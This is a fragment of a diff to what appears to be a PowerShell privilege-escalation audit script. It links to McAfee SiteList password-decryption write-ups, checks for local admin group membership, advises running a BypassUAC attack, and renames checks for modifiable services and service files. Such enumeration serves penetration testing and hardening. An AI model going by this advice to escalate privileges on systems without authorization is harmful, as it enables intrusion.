Server : tokyo000
.LINK
+
https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/
https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md
@@ -2373,6 +3366,7 @@ function Invoke-AllChecks {
}
else{
"`n`n[*] Checking if user is in a local group with administrative privileges..."
+
if( ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1 ){
"[+] User is in a local group that grants administrative privileges!"
"[+] Run a BypassUAC attack to elevate privileges to admin."
@@ -2394,14 +3388,14 @@ function Invoke-AllChecks {
}
"`n`n[*] Checking service executable and argument permissions..."
- $Results = Get-ServiceFilePermission
+ $Results = Get-ModifiableServiceFile
$Results | Format-List
if($HTMLReport) {
$Results | ConvertTo-HTML -Head $Header -Body "<H2>Service Executable Permissions</H2>" | Out-File -Append $HtmlReportFile
}
"`n`n[*] Checking service permissions..."
- $Results = Get-ServicePermission
+ $Results = Get-ModifiableService
$Results | Format-List
if($HTMLReport) {
$Results | ConvertTo-HTML -Head $Header -Body "<H2>Service Permissions</H2>" | Out-File -Append $HtmlReportFile